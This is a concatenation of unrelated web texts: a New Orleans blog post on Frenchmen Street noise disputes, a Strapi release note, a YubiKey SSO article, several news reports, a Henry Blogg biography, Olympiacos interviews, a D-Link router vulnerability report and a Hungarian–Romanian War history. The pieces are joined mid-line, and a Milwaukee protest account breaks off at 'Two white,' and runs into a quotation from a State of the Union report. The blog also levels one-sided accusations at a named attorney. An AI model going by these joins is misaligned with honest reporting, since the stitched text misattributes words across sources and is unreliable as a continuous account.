8 days agoDo you love music? Do you love Frenchmen Street?
Your days of enjoying this only-in-New Orleans phenomenon of a live music street may soon be coming to an end.
I wrote in my blog last week about the attempt by the city—which should be embracing Frenchmen Street as the current epicenter of local live music in New Orleans—to close down music on the street. A serious crackdown started last week with citations being issued for several clubs (including Maison, Mojito’s, BMC and Vaso) and a lawsuit being filed against the Balcony Music Club (BMC) by Dr. Travis Kenny, who rents the property at 510 Esplanade Avenue, which is just next door to BMC.
Both the pro-music and anti-noise groups are becoming more and more polarized on this issue. We assume that the anti-noise people are numbered among the anti-music people too, since—let’s face it—they target music as the main source of their complaints.
Almost everything I’ve heard or read in local mainstream media has focused on the noise on Bourbon Street, which overall has escalated over the past few years. The fact of the matter is that most of the bars on Bourbon that offer music are in compliance with the current laws; there are two or three operators who flout the regulations, and who instigate noise “wars” on Bourbon: e.g., Club A has music at a reasonable level; Club B thinks that if its music is louder than Club A’s, more people will hear it and will go into their bar. So Club B cranks up the music. Club A then tries to outdo Club B, Club B reciprocates, and the music gets ear-splittingly loud. Then there are the issues with non-bar retailers who blast music from speakers into the street to try to attract customers. The music clubs have to compete against them as well. It makes for an ongoing loudness.
It’s really the worst during special events, particularly sporting events. Those crowds are notoriously loud, and everyone cranks up the music to be heard above the crowd noises.
I wonder why the city hasn’t required that duct tape on your mouth or muzzles be mandatory for people on Bourbon Street so they can keep the ambient crowd noise down. That sounds ridiculous, but it’s just as ridiculous to ask music clubs to keep from playing music at a level that can be heard by crowds outside their doors. This is the nature of a street that provides entertainment.
It’s a fact that music adds to the spirit and atmosphere of Bourbon. Can you imagine Bourbon Street with all the music kept behind closed doors at a level than can only be heard indoors? This isn’t feasible. It’s not what the city needs.
Ditto on Frenchmen Street.
Unfortunately, some years ago, Frenchmen Street was subjected to a “cultural district overlay” zoning ordinance which only allows certain activities on the street. There are only a few alcohol licensees who don’t serve food who are allowed to offer live amplified music. Otherwise, an establishment has to be considered a restaurant to offer live music, and music in restaurants cannot be amplified and is supposed to consist of no more than three musicians. Clearly, there are multiple problems with this ordinance in allowing music to flourish and grow the way it has on Frenchmen. Thus, it seems that most of the places who offer music may be doing so illegally. But, in rather typical New Orleans fashion, everyone has looked the other way, and the music scene has grown and flourished on Frenchmen, amplified music and all.
No more.
The very vocal and well-funded minority of serial complainants on loud music is seriously trying to shut down music on Frenchmen Street.
They contend that they’re not trying to stop the music, they only want the loud music to stop. I think they’re going after the wrong people. Why don’t they just find a way to get rid of the noisy crowds in the Quarter and on Frenchmen? That would be a first step. If there are no crowds, the music isn’t going to be as loud. This is a fact.
Again, this sounds totally ridiculous, and, of course, it is.
My contention is that this city—which is known worldwide for its musical culture—is shooting itself in the foot internationally by not embracing music, which admittedly, is occasionally louder than it should be. The lawsuits, the negative media on “noise” (read music), the bogus web sites (hearnolamusic.org, that asks you to sign a petition to control music) are led by a small group of people who say they just can’t tolerate the noise. The city and the mainstream media seem to have bought into this stupid, selfish crusade that’s attempting to turn New Orleans into Blandtown, primarily because the publicity campaign that’s behind it is well-funded and supported by the money of a local wealthy plaintiff attorney, Stuart Smith (Smith-Stag), who has been attempting to shut down music in the Quarter since he bought a residence there on St. Philip Street. He and his firm are now also focusing attacks on Frenchmen Street clubs. All the negative publicity about noise in the Quarter, the web site previously mentioned, the lawsuits, and the most vocal groups about Quarter and Frenchmen Street noise are all being controlled by Mr. Smith. He even has one of his former employees involved in the noise issue in Councilman Gisleson-Palmer’s office. Talk about a puppet master!
Control the crowd noise, and you control the loudness. Allow the people who complain about the music to control our musical culture, and you kill it. If you can’t stand the noise in the Quarter or on Frenchmen Street, then you need to live elsewhere and quit your bitching. Put in place some noise ordinances that take the nature of this unique city into account (we aren’t a city that closes down at 1 a.m.) and don’t try to model our culture and business on another city. Give the police the ability to crack down and enforce noise laws with enforcement tactics that have teeth. If bars and music clubs are consistently creating noise issues, give them some options that will still allow them to continue in business (such as tax incentives for installing noise-proof barriers or insulation).
I have news for the people who complain about the music: without the Quarter businesses and the music clubs on Frenchmen Street, there would be no New Orleans as we know it. No visitors. No tax revenues to subsidize your ability to live in these unique neighborhoods. Keeping up this campaign against music and “noise” is a totally selfish, short-sighted, non-visionary crusade against the very fabric of what makes New Orleans’ entertainment districts unique and attractive to everyone. Just get over yourselves and stop the attack on music and on the people who make it possible.
I vote for the music, every time, hands-down, and so should you.Today is a new major step for Strapi: this is the official release of Strapi v3@alpha.6!
What’s new in alpha.6? 🚀
A lot of work has been achieved over the last few weeks.
Framework
Filters: List of generic operators allowing filtering, sorting and pagination (eg. GET /user?_sort=email&_start=10&_limit=10 ). These filters are usable from any generated API.
Admin panel
Reduce number of steps to be able to contribute : The admin panel development workflow has been drastically simplified in order to make contributions and plugins development easier.
: The admin panel development workflow has been drastically simplified in order to make contributions and plugins development easier. Reduce bundle size by sharing commons dependencies : As you may know, the admin panel is a React application that embed plugins as sub-components. Thanks to a Webpack optimisation, the admin panel build is much more lightweight than before.
: As you may know, the admin panel is a React application that embed plugins as sub-components. Thanks to a Webpack optimisation, the admin panel build is much more lightweight than before. Update strapi-helper-plugin and strapi-admin dependencies: Every admin panel and plugins dependencies have been updated to their latest versions.
The React licence switch (from BSD+Patents to MIT) is a very reassuring news for Strapi.
Plugins
Content Type Builder: The equivalent of the Studio API Builder has been adapted to v3 and completely open-sourced. This is a huge step for the project!
Define the data structure of your API, create relations and generate code according to your needs within a few clicks.
Content Manager: Equivalent of the open-source admin panel in v1.
Auto-generated content interface. Discover, create and edit the data managed by your API.
Give it a try!
Read the Getting Started guide to install and try it out!
Brand new website
The brand new Strapi website is live: https://strapi.io/!
The website has been redesigned from scratch. We made our best to explain as well as possible what is Strapi and how to use it. We hope you will like it!
Feel free to give us your feedback.
Documentation
The documentation has been totally rewritten and is finally available.
New structure
In order to make your first steps easier, we decided to adopt the following structure:
Source: giphy.com
By doing that, we hope to onboard more efficiently the incoming users and describe more precisely advanced usages.
Contributions
The documentation is hosted on GitHub in the monorepository: https://github.com/strapi/strapi/tree/master/docs.
This makes contributions much easier and allows versioning across releases. We have chosen the amazing Gitbook documentation generator to generate HTML files from markdown.
If you want to suggest modifications, or even translate the documentation in another languages, pull requests are welcome.
Migration guide
If you are, or has been, a v1 user, you'll probably want to migrate your project(s) to v3. Transition can be difficult, but the migration guide is available.
Note: v1 documentation and the Studio are still available.
Win a t-shirt!
As you may have seen on Twitter, we received our new t-shirts.
Today you have the opportunity to win one of the three available t-shirts by retweeting our latest tweet.
Three winners will be drawn among people having retweeted our latest tweet before November 1st 12:00pm Paris time.
What’s next?
We already started working on v3@alpha.7. Give a look at the roadmap to discover what is coming.
Feel free to give a try to this new version. More than ever, we are looking forward to get your feedback. Please let us know what you think about the new version, the website (design, wording, etc.) and the documentation (structure, content, etc.).
You enjoyed this article? Sign up to get our latest posts!
Please enable JavaScript to view the comments powered by Disqus.There’s a secret that single sign-on (SSO) never talks about. It’s called authentication.
The SSO conversation starts without mentioning the assumption that the user is already logged in. A login that requires a password. Instead, SSO is quickly positioned to triumph over the dangers of weak and reused passwords.
Many times, however, those same suspect passwords are the ones used for the initial authentication into the SSO environment.
Authentication is actually SSO’s most critical gatekeeper for a user’s identity. If the authentication password is stolen, all the user’s identities associated with that federated service are exposed.
Password policies, crazy character composition guidelines, and x-day expiration dates are the techniques enterprises typically use ﹘ with varying degrees of success ﹘ to get users to create passwords deemed strong enough for authentication to the SSO environment.
It’s within this scenario that Yubico has entered into a partnership with Ping Identity, a leader in the SSO and federation ecosystem, to create strong two-factor authentication for those critical and initial logins.
The one-time password (OTP) functionality of the YubiKey is integrated into PingID, a multi-factor authentication engine within the company’s flagship cloud identity service, PingOne.
So even if a user’s password is phished or stolen, a hacker is unable to access the user’s SSO environment without also having the user’s physical YubiKey. In addition, the Yubikey is not vulnerable to man-in-the-middle attacks that plague SMS phone-code solutions.
PingOne users now have the option to add hardware-based, two-factor authentication to secure primary logins to Ping Identity’s cloud SSO environment. There are plans to integrate YubiKeys with other components of Ping Identity’s recently unveiled Identity Defined Platform, which includes PingFederate and PingAccess. Soon privileged accounts in the Ping Identity environment also will be covered under this OTP security blanket, further protecting specific enterprise accounts.
The USB-based YubiKey is one-touch protection for all applications protected by SSO and federation. It’s a hardware authenticator that doesn’t require a battery or the installation of any client software. By design, nothing can be written to the YubiKey, so malware can’t be loaded onto it.
Support for OTP is included on the YubiKey Standard and Nano, YubiKey Edge and Edge-n, and the YubiKey NEO and NEO-n.
In addition, the YubiKey is not a single purpose device. Both the YubiKey Edge and YubiKey NEO offer support for multiple authentication options, including the FIDO Alliance’s U2F protocol. The YubiKey NEO and YubiKey NEO-n have other capabilities such as a PIV-compliant CCID smart card and OpenPGP (for code signing, etc.). The YubiKey NEO also supports NFC for logging on to mobile applications.Armed citizen's gun accidentally discharges in front of military recruiting center Copyright by WCMH - All rights reserved Video
LANCASTER, Ohio (WCMH)-Police in Lancaster say no one was hurt when a gun of one of the armed citizens guarding a military recruiting center discharged.
According to Lancaster police, officers responded Thursday to the military recruiting station in the 1500 block of River Valley Boulevard, on the report of an accidental discharge of a gun.
Christopher Reed told police he was standing in front of the military recruiting station with his AR-15 rifle to guard military personal, when a man asked to look at his gun.
Reed said he attempted to clear the ammunition from the gun, and accidentally fired it into the pavement.
Copyright by WCMH - All rights reserved The bullet hole left in the pavement after Reed's gun discharged.
Copyright by WCMH - All rights reserved The bullet hole left in the pavement after Reed's gun discharged.
Police said no one was hurt and the other people who were standing in the area at the time the gun discharged left prior to officers arriving.
Reed's gun was confiscated until he appears in court July 28.Alan Turing is said to be the founder of computer science Gordon Brown has said he is sorry for the "appalling" way World War II code-breaker Alan Turing was treated for being gay. A petition on the No 10 website had called for a posthumous government apology to the computer pioneer. In 1952 Turing was prosecuted for gross indecency after admitting a sexual relationship with a man. Two years later he killed himself. The campaign was the idea of computer scientist John Graham-Cumming. He was seeking an apology for the way the mathematician was treated after his conviction. He also wrote to the Queen to ask for Turing to be awarded a posthumous knighthood. The campaign was backed by author Ian McEwan, scientist Richard Dawkins and gay-rights campaigner Peter Tatchell. The petition posted on the Downing Street website attracted thousands of signatures. Mr Brown, writing in the Telegraph newspaper, said: "While Mr Turing was dealt with under the law of the time and we can't put the clock back, his treatment was of course utterly unfair and I am pleased to have the chance to say how deeply sorry I and we all are for what happened to him." National legacy Have Your Say Whilst of no comfort to the man himself, this does hold meaning for surviving relatives. I would welcome a posthumous knighthood. Andy Turner He said Mr Turing deserved recognition for his contribution to humankind. In the statement he said: "So on behalf of the British government, and all those who live freely thanks to Alan's work I am very proud to say: we're sorry, you deserved so much better." A niece of Mr Turing, Inagh Payne, said that at the time she had no idea about his contribution to the war effort because he kept his work "hush-hush". She was also unaware of his sexuality and his prosecution as the family "kept mum about that sort of thing". She said she was "very grateful" for the apology.
"We realise now that he was gay and we think he was treated abominably," she said. Please turn on JavaScript. Media requires JavaScript to play. Welcoming Mr Brown's move, Peter Tatchell of gay rights group Outrage! said a similar apology was also due to the estimated 100,000 British men who suffered similar treatment. "Singling out Turing just because he is famous is wrong," he said. Alan Turing was given experimental chemical castration as a "treatment" and his security privileges were removed, meaning he could not continue to work for the UK Government Communications Headquarters (GCHQ). He is most famous for his code-breaking work at Bletchley Park during WWII, helping to create the Bombe that cracked messages enciphered with the German Enigma machines. However, he also made significant contributions to the emerging fields of artificial intelligence and computing. Please turn on JavaScript. Media requires JavaScript to play. Advertisement In 1936 he established the conceptual and philosophical basis for the rise of computers in a seminal paper called On Computable Numbers and in 1950 he devised a test to measure the intelligence of a machine. Today it is known as the Turing Test. After the war he worked at many institutions including the University of Manchester, where he worked on the Manchester Mark 1, one of the first recognisable modern computers. There is a memorial statue of him in Manchester's Sackville Gardens which was unveiled in 2001.
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StumbleUpon What are these? E-mail this to a friend Printable versionHere’s what happened that night
A lot of things have happened since George Zimmerman was found not guilty of murdering Trayvon Martin. In Milwaukee, the movement for justice for Trayvon has found great resonance among those of us who have been taking the streets against MPD since the release of the video showing Derrick Williams dying in the back of a squad car. The struggle against white supremacy and the police continues in the streets of Milwaukee. I want to take a moment to focus on a particularly intense moment of that struggle. This moment began shortly after the verdict in the Zimmerman case was read.
The verdict became clear around 10:15pm. By 10:30 there were probably 50 people gathered in Garden Park on Locust and Bremen. There was generally a lot of confusion about what would come next. Some had seemingly settled on taking the streets though others wanted to hold a group discussion about what to do next. Both approaches had their own merits and drawbacks. Those who wanted to march realized that the energy and emotion surrounding the verdict was going to peak at some point and that there was no time to waste. However, without enough people, a plan, and with the cops close by, it seemed fair to question the efficacy of such a march. Those who wanted to talk realized that we were surrounded by police in a neighborhood which was generally apathetic. They also seemed far too eager to lay the groundwork for a leftist circus precisely at the moment when we could act most decisively.
About 25 people ended up taking the street and they headed towards North Avenue for reasons unknown. After about 30 minutes they returned with no arrests. By the time they got back, news had gotten out that there was a gathering on the North side of town in a predominantly black neighborhood. About half of the group that had gathered in Garden Park carpooled over to 38th and Hampton. When we arrived, we were greeted by two people from the community who explained their perspective on the situation. Following their lead we set up a roadblock on one side of the street. Each car driving in our direction was stopped, informed of the verdict, and then allowed to proceed. Most of the people stopped by this ad-hoc roadblock were happy to see us there. Chanting and banners brought people from the surrounding residential areas out onto the corner. Most of them were hesitant to enter the road, but cheered us on from the sidewalk. At around quarter till midnight, the first squad car showed up.
Two white, |
he said. “Wherever and whenever I can take steps without legislation to expand opportunity for more American families, that’s what I’m going to do.”
The president also pointed to action he’s already taken — including pushing ahead with his health care law — and encouraged Republicans to find ways to improve the system rather than yet again attempting to dismantle the Affordable Care Act.
( Also on POLITICO: State of the Union speech excerpts)
“I don’t expect to convince my Republican friends on the merits of this law,” he said. “But I know that the American people aren’t interested in refighting old battles. So again, if you have specific plans to cut costs, cover more people, and increase choice — tell America what you’d do differently. Let’s see if the numbers add up. But let’s not have another forty-something votes to repeal a law that’s already helping millions of Americans …. The first 40 were plenty. We got it. We all owe it to the American people to say what we’re for, not just what we’re against.”
Obama pointed to the ways in which the law is already helping Americans, telling the story of Amanda Shelley, a single mom in Arizona, who got coverage on Jan. 1 under Obamacare and experienced sharp pain two days later. She had emergency surgery on Jan. 6, but just a week earlier she would’ve faced bankruptcy to pay the medical bills that her new insurance will cover. “That’s what health insurance reform is all about — the peace of mind that if misfortune strikes, you don’t have to lose everything,” he said.
More than 9 million Americans have signed up for private health insurance or Medicaid, Obama said, and more than 3 million people under the age of 26 have been able to stay on their parents’ plans because of the law.
( Also on POLITICO: McMorris Rodgers promotes hope)
The president’s discussion of immigration reform was limited to a paragraph, as he urged action this year in the interest of economic growth. “If we are serious about economic growth, it is time to heed the call of business leaders, labor leaders, faith leaders and law enforcement — and fix our broken immigration system,” he said to cheers in the chamber, though House Speaker John Boehner (R-Ohio) did not stand as Democrats and even some Republicans did.
“Let’s get immigration reform done this year,” he added.
Obama also used his speech to call for the closure of the detention center at Guantanamo Bay, Cuba, something that had been missing from his addresses to Congress after his initial speech to lawmakers in February 2009. With the war in Afghanistan coming to a close, he said, “this needs to be the year Congress lifts the remaining restrictions on detainee transfers and we close the prison at Guantanamo Bay.”
Less than two weeks removed from his major speech on the National Security Agency’s surveillance practices, Obama kept his comments limited, noting that he intends to work with Congress to reform the programs because the vital work of our intelligence community depends on public confidence, here and abroad, that the privacy of ordinary people is not being violated.”
( On POLITICO Magazine: The State of the Union curse)
As he has in prior State of the Union addresses, Obama again called for tax reform and patent reform, and suggested that the savings reaped from tax reform be reinvested into improving infrastructure.
Obama heralded increases in energy production and heightened fuel efficiency standards, but said that the United States must respond to climate change with more “urgency.”
“The shift to a cleaner energy economy won’t happen overnight, and it will require tough choices along the way. But the debate is settled. Climate change is a fact. And when our children’s children look us in the eye and ask if we did all we could to leave them a safer, more stable world, with new sources of energy, I want us to be able to say, yes we did,” he said, looking ahead to his legacy.
But with a key State Department report on the Keystone XL pipeline expected in the coming weeks, he didn’t mention the proposed pipeline between the United States and Canada.
The president did indicate a willingness to work with Sen. Marco Rubio (R-Fla.) however, on a plan to expand the Earned Income Tax Credit to single workers who don’t have children. And, on Wednesday, he will direct the Treasury Department to create MyRA, a retirement savings bond that “guarantees a decent return with no risk of losing what you put in.”
Rep. Cathy McMorris Rodgers (R-Wash.) delivered the official GOP response and offered what she intended “a more hopeful, Republican vision — one that empowers you, not the government.”
Like Obama, she discussed economic opportunity, though with different language than the president. “Our mission … not only as Republicans, but as Americans, is to once again to ensure that we are not bound by where we come from, but empowered by what we can become. That is the gap Republicans are working to close. It’s the gap we all face: between where you are and where you want to be,” she said.
McMorris Rodgers also attacked the Affordable Care Act, arguing “the president’s health care law is not working.”
Follow @politicoProsecution lawyer Ujjwal Nikam gestures after four men were found guilty of the gang-rape of a photojournalist, outside a court in Mumbai March 20, 2014. REUTERS/Mansi Thapliyal
MUMBAI/NEW DELHI (Reuters) - Four men were found guilty on Thursday of the gang-rape of a photojournalist last year in Mumbai, an attack that sparked street protests in the city and raised fresh questions about attitudes to women in the world’s largest democracy.
Women’s safety in India has been under the spotlight since the gang-rape and murder of a student on a bus in Delhi in 2012, which provoked nationwide protests and the introduction of tougher sexual assault laws, yet an ongoing stream of high-profile attacks has raised concerns that little has changed.
The four men convicted of gang-rape are due to be sentenced on Friday, prosecution lawyer Ujjwal Nikam told reporters outside the Mumbai court where the case was heard.
Under the stricter laws brought in last year, the men face a life sentence. It was not immediately clear whether they would appeal against the verdict.
“Today’s verdict will send a strong message to criminals,” R. R. Patil, home minister for Maharashtra, the state where Mumbai is located, told reporters outside the court.
A juvenile charged for his involvement in the case is being tried separately.
The photojournalist was attacked at dusk on August 22 while on an assignment with a male colleague at an abandoned textile mill in Lower Parel, an up-and-coming district where trendy bars and offices have sprouted on the sites of old factories.
The attack provoked a public outcry partly because Mumbai, India’s financial capital and the home of its flamboyant film industry, is considered one of the country’s safest city for women.
A 51-year-old Danish tourist was also gang-raped in December in Delhi’s busy backpacker district by men whom she asked for directions to her hotel. A Swiss tourist was gang-raped in the state of Madhya Pradesh last year while on a camping trip with her husband."Blogg" redirects here. For the website commentary, see Blog
Henry George Blogg[1][2] GC BEM (6 February 1876 – 13 June 1954) was a lifeboatman from Cromer on the north coast of Norfolk, England and the most decorated in RNLI history.
Blogg of the Cromer Lifeboat Station is referred to as "the greatest of the lifeboatmen".[1] From the rescue of the crew of the Pyrin and then of half of the crew of the Fernebo in 1917, through to his near drowning in the service to the SS English Trader in 1941, he was awarded the gold medal of the Royal National Lifeboat Institution three times and the silver medal four times, the George Cross, the British Empire Medal, and a series of other awards.[1]
Life [ edit ]
Henry Blogg and his dog Monte, (RNLI Henry Blogg Museum)
Born the son of Ellen Blogg,[1] he was brought up in the family of James Davies (whose son John became Henry's stepfather after John Davies married Ellen Blogg in 1881), himself coxswain of the Cromer lifeboat. He first went to sea as a lifeboatman in 1894 in the rowing lifeboat Benjamin Bond Cabbell[3] and then served in the Louisa Heartwell[3] as second coxswain under Jimmy 'Buttons' Harrison. When coxswain Harrison retired in 1909[1] due to ill health, Blogg won the vote to take on the leadership role.
Away from lifeboat duties, Blogg was foremost a crab fisherman but Cromer being a popular holiday resort, he also ran a deckchair and beach hut hire business.[1]
At the end of the 19th and the beginning of the 20th century lifeboats around the coast of Britain relied on the strength of the oarsmen and the power of the wind. The Cromer boat was launched from an open beach, and judgement and determination were the prime requirements of the coxswain. In the early hours of a fierce January morning in 1917 the Cromer lifeboat was launched to aid a vessel just in sight off Cromer, the Pyrin. The Cromer men rowed their boat through the breakers, succeeding in coming alongside the stricken vessel, and taking off her crew. They rowed back to Cromer. As they reached the beach the Swedish vessel the Fernebo struck a naval mine and was blown in half.[1] The two-halves drifted towards the beach.
From one half, about 16 men set out in a ship's boat. As they reached the edge of the breakers onto the beach, their boat was capsized. Teams of men, grasping each other's arms, had walked into the water, and they were able to help the men from the boat, and aid them ashore. Meanwhile, the lifeboat was rehoused on its trailer and was pushed again into the breakers, to launch to the other half of the Fernebo.
The ferocity of the sea threw the boat back onto the beach. Recarriage and try again. This happened at least three times. It was not until midnight, under the light of searchlights from the clifftop, that the lifeboat finally reached the stricken half-vessel and took off its crew. Blogg had led his men for nearly 24 hours of heroic effort.[1]
In 1924[1] Blogg was awarded the Empire Gallantry Medal by the King. In 1927, Blogg was awarded a gold watch and his crew a silver watch each after a rescue on the Haisborough Sands.[4]
The home of Henry Blogg in Cromer
Henry received a Silver Medal from the RNLI in 1932[1] for rescuing 30 men and a dog from the steamer Monte Nevoso aground on the Haisborough Sands. The Canine Defence League awarded him their own Silver Medal.[1]
In October 1939 the lifeboat went to the SS Mount Ida.[1] During the long night-time rescue the lifeboat was damaged and the no. 2 boat was required to help.
In 1941 he was awarded the BEM.[1] At around the same time it was announced that the Empire Gallantry Medal he was awarded in 1924 was to be substituted with the George Cross[1] which he was awarded in October that year.
English Trader [ edit ]
The call out to the SS English Trader in 1941,[1] aground on Hammond's Knoll off Happisburgh, nearly led to disaster when the motor lifeboat H.F.Bailey[3] rolled onto her side, throwing five of her crew in the water. Blogg was one of them.
Still on board, crewman William H. Davies grasped the wheel and steered the lifeboat towards the men in the water. One by one they were picked up. Signalman Walter Allen[1] would not survive long; his heart was failing. Blogg turned the lifeboat from the English Trader and headed for the nearest harbour at Great Yarmouth.
At 3 a.m. the next morning, Blogg awoke his crew, ready to try again. They slipped from the wartime harbour and were soon back at the sands. The sea had abated, and forty-four men on the English Trader, who had not expected to live through the night, were saved. Henry was given the Silver medal for that rescue, the rest of the crew receiving Bronzes, Walter Allen[1] posthumously.
Cromer Lifeboat Crew 'English Trader' shout
The Cromer Lifeboat H. F. Bailey[3] Name Rank Henry G Blogg Coxswain John J ("Jack") Davies Second Coxswain Henry W ("Swank") Davies Mechanic James W ("Jimmy") Davies Assistant Mechanic Edward W ("Boy Primo") Allen Signalman William T ("Captain") Davies Bowman John J ("Young Jack") Davies, jnr Crewman Sidney C ("Kelly") Harrison Crewman Henry T ("Shrimp") Davies Crewman William H ("Pimpo") Davies Crewman Robert C ("Bob") Davies Crewman James R ("Dick") Davies Crewman
Henry Blogg's Bronze Bust on the Cliff Top in North Lodge Park, Cromer.
Legacy [ edit ]
When Henry Blogg retired in 1947,[1] after 53 years service and at age 71, 11 years past the usual retiring date, the new lifeboat at Cromer was named after him. He had been coxswain for 38 years of his service during which he had launched 387 times and rescued 873 people. Henry Blogg's nephew Henry "Shrimp" Davies took over as coxswain of the Cromer Lifeboat.
A museum dedicated to the memory of Henry Blogg – "the greatest of the lifeboatmen" – opened in 2006. Unveiled by Ronnie Corbett who started his stage career in Cromer, the museum is the first purpose-built RNLI museum to be opened since the Grace Darling museum opened in 1938. On 15 April 2008, the museum was successful in bidding for two watches that had been awarded to Blogg.[4]
Gallery [ edit ]
Close up of Henry Blogg's Bust.
A portrait of Blogg by John Moray-Smith in the Cromer Town Museum
Henry Blogg's medals on display at the Lifeboat museum in Cromer
The HF Bailey Lifeboat at the Lifeboat museum in Cromer
See also [ edit ]
References [ edit ]
Sources [ edit ]Image copyright AFP/Getty Images
Tokyo has unveiled the logo for the 2020 Olympic and Paralympic Games. The Olympic emblem is the letter T, with upended quote marks to represent equality, organisers say.
"The red of the circle represents the power of every beating heart," the organising committee says, though it also, conveniently, resembles part of the Japanese flag.
Designed by the Japanese artist Kenjiro Sato, the emblem "reflects the vibrant nature of the city and the welcoming spirit of its citizens," says International Olympic Committee Vice-President John Coates.
But what do ordinary people think?
Image copyright Twitter
Oh.
Image copyright Twitter
Who agrees?
Image copyright London 2012
Surely there must be some more positive reaction out there?
Image copyright Twitter
Quite a few users in Japan remarked how similar it looks to the logo for Japan's main football league...
Image copyright Twitter
Most people tweeting in Japanese praised the design though - in particular its font and "classic" look.
One Twitter user saw something else, however:
Image copyright Twitter
He may have a point...
Image copyright Getty Images
So how does Tokyo 2020 compare to the most recent Olympics' logos? You decide.
Image copyright Beijing 2008
Image copyright Athens 2004
Image copyright Sydney 2000The full quotes:
"This is definitely a difficult draw with a group comprising of really good clubs. Of course, Olympiacos is a fresh team with talented and passionate players. We saw this during the preparation as well, when we played against strong clubs. We believe that if the footballers play and show their talent and the passion required in this competition and make the least possible mistakes, then we will qualify in the next round. We are optimistic. We like a challenge. Together with our fans, our coach and by preparing correctly, we believe we can qualify. We will do our best", initially pointed out Mr Marinakis.
Is this why the roster was strengthened with two players in each position? To deal with the two matches per week and against difficult opponents?
"There is definitely a planning in place. We are working closely with Mr Michel as well as the whole staff. And I repeat: We believe in this squad. We have young players and Mr Michel has proved that he can make them do their best and we feel optimistic."
Can the ambition of players make a difference for Olympiacos in the Champions League?
"Not only ambition! Ambition is not enough! It also takes talent, passion and strength. We have all these qualities. I personally feel optimistic. As I said before, we like a challenge and we aim at achieving the best possible result!"
Did Olympiacos's display in the ICC made you more optimistic?
"Certainly, since we saw how our side can play against other great clubs, showing the same enthusiasm, strength and passion! We are not afraid. We attack with great potential to score. We see that no matter how strong our opponents are, we can deal with them in the best possible way. We saw this in last season's Champions League too. We saw what happened against Manchester United, in a match where Olympiacos had a really good display. You saw what happened and how we were eliminated. We lost the qualification in the details. I repeat once more, we are optimistic."
Therefore, the team will use last season's campaign as a guide. To qualify to the round of 16 and maybe…
"Let us first make the round of 16 and we will take one step at a time. Step by step."
Last season, you talked about two transfers from the same position. Now, given the time remaining and the draw, what do you say to the fans of Olympiacos?
"Everyone says that history repeats itself. We shall see…"
The President of our club, Mr Vangelis Marinakis also talked to NERIT and pointed out:
"We are at a high level. We have a coach who every day tries to make our players give their best. He has managed this. The team is strengthened this year. I believe that if the players are serious, passionate and strong, then we are optimistic that we can go further. This is a really big challenge. It is a really difficult task."
On how hard the opponents are: "Let us first of all be realistic. This is a really difficult draw. We have a really good team and we want it to go further. We all want to go further. We worked really well this summer as regards our preparation and planning and we are optimistic."
On the sale of Olympiacos players: "The important thing is for other clubs to know that the future of Olympiacos or a club does not depend on one sale. We are equally strong whether we sell a player or not. The important thing is that any Greek player coming to Olympiacos, a young player, full of dreams and talent, that he proves on the pitch, can hope to have a really good future by playing for Olympiacos. This means that his value in Olympiacos keeps growing and given that he does his best and Olympiacos keeps winning the Greek championship title and doing well in Europe, then he can also have a better future. This is really important for any player coming to play for Olympiacos, be it a foreign or a Greek player.
We are talking about Greek players, but, as you have seen, we have also sold foreign players at a really good price. It is certain that we can now address very good, young and talented players that will have no qualms to join Olympiacos. This is really important, not only for Olympiacos, but for Greek football as well."
On contacts with major football clubs: "Olympiacos has established really good relations with major clubs and major officials in European football. This is something that we shall continue to build on. It gives us pleasure. We are optimistic that the best is yet to come."
On the possibility of new transfers: "We are trying to strengthen our roster even more. We are still two days short of the end of the transfer window. We shall see."UPDATE – 20/9 829pm: TM has finally released an official statement regarding the router and its upcoming firmware update. Learn more here.
UPDATE – 19/09 524pm: TIME Internet has issued a statement regarding DIR-850L router which also include a number of recommended interim safety measures. Check it out right here.
UPDATE – 19/09 106am: D-Link Malaysia will be releasing an update for its DIR-850L router soon. Read on this report for the full details.
UPDATE – 18/9 848pm: Several readers have pointed out that TIME Internet uses the same router too. More details below.
ORIGINAL STORY – 18/9 617pm: As part of its UniFi package, TM provides free routers to customers throughout the country including the cylindrical-shaped D-Link DIR-850L. If you are one such customer or even if you have purchased it separately, do note that there might be several critical security issues within your router.
This revelation was brought to light after security researcher Pierre Kim originally discovered it back in June, and published them online almost two weeks ago. There are plenty of issues according to the researcher, including unsecure firmware, backdoor access, weak files permission, credentials in cleartext, and many more.
In addition to that, the Cyber Security Agency of Singapore and Infocomm Media Development Authority have recently released a joint security advisory on the same router. The statement also stated that three more D-Link DIR-800 series routers including DIR-885L, DIR-890L, and DIR-895L are vulnerable as well.
D-Link has responded to the issue by releasing a statement that the company is already working to solve the flaws within its DIR-850L routers and will be releasing a firmware update for them on 19 September. The company has also recommended several rudimentary steps to help users protect themselves. including restoring the router’s default factory setting, and disable the WAN remote admin feature.
Meanwhile, we have reached out to TM regarding this issue and are now waiting for further details from the company. We’ll keep you posted once we hear any updates from them.
(Source: Pierre Kim, SingCERT via Channel NewsAsia, D-Link. Images: Benlai, D-Link)
UPDATE – 848pm:
Several readers on our Facebook page have posted that TIME Internet has provided them with the same D-Link DIR-850L router too. In fact, it is clearly stated on the ISP’s official website that the router is given to customers as part of their 100Mbps and 300Mbps package.
We have since reached out to Time Internet regarding this issue and will keep you updated once they get back to us.
(Image: Brandon Leow)
3 1 7 6 2 47The Hungarian–Romanian War was fought between the First Hungarian Republic and the Hungarian Soviet Republic and the Kingdom of Romania. Hostilities began on 13 November 1918 [2]and ended on 3 August 1919. The Romanian army occupied eastern Hungary until 28 March 1920.
Background [ edit ]
Regional situation between 1914-1920
Hungary [ edit ]
Aster Revolution, liberal republic and the self-disarmament of Hungary [ edit ]
In 1918 the Austro-Hungarian Monarchy politically collapsed and disintegrated as a result of a defeat in the Italian Front (World War I). During the war Count Mihály Károlyi led a small but very active pacifist anti-war maverick fraction in the Hungarian parliament.[3] He even organized covert contacts with British and French diplomats in Switzerland during the war.[4] On 31 October 1918 the Aster Revolution in Budapest brought Hungarian liberal aristocrat Mihály Károlyi, a supporter of the Entente (Allied nations), to power. The huge Hungarian Royal Honvéd army still had more than 1.400.000 soldiers[5][6] when Mihály Károlyi was announced as prime minister of Hungary. Károlyi yielded to Woodrow Wilson's (US) demand for pacifism by ordering the disarmament of the Hungarian army. This happened under the direction of Béla Linder, minister of war in the Károlyi government.[7][8] Due to the full disarmament of its army, Hungary remained without a national defence at a time of particular vulnerability.
International reactions after the Hungarian self-disarmament [ edit ]
After this, military and political events accelerated: on 5 November 1918 the Serbian army, with the help of the French army, crossed southern borders; on 8 November the Czechoslovakian army crossed the northern borders and on 13 November the Romanian army crossed the eastern borders of the Kingdom of Hungary.
